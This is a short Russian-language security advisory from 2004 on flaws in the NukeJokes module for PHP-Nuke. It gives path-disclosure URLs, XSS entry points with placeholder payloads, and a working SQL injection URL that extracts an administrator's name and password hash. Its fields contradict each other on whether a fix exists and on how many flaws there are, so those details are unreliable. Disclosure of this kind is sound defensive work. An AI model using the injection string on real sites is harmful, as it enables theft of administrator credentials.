Несколько уязвимостей в NukeJokes

Дата публикации:10.05.2004
Всего просмотров:1205
Опасность:
Средняя
Наличие исправления: Да
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Удаленная
Воздействие: Неавторизованное изменение данных
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: NukeJokes 1.x
NukeJokes 2.x
Уязвимые версии: NukeJokes 1.7 – 2.0 beta

Описание: Несколько уязвимостей обнаружено в NukeJokes. Злонамеренный пользователь может выполнить нападение SQl инъекции,XSS нападение и раскрыть инсталляционный путь.

1. Раскрытие пути:

http://localhost/nuke72/modules/NukeJokes/mainfunctions.php

http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=foobar

http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=foobar
2. SQL инъекция:
http://localhost/nuke72/modules.php?name=NukeJokes&file=print&jokeid=-1/**/UNION/**/SELECT/**/aid,pwd/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/*
3. XSS:
http://localhost/nuke72/modules.php?name=NukeJokes&func=CatView&cat=[xss
code here]

http://localhost/nuke72/modules.php?name=NukeJokes&func=JokeView&jokeid=[xss
code here]

URL производителя: http://www.funportal.host.sk

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: [waraxe-2004-SA#028 - Multiple vulnerabilities in NukeJokes module for PhpNuke]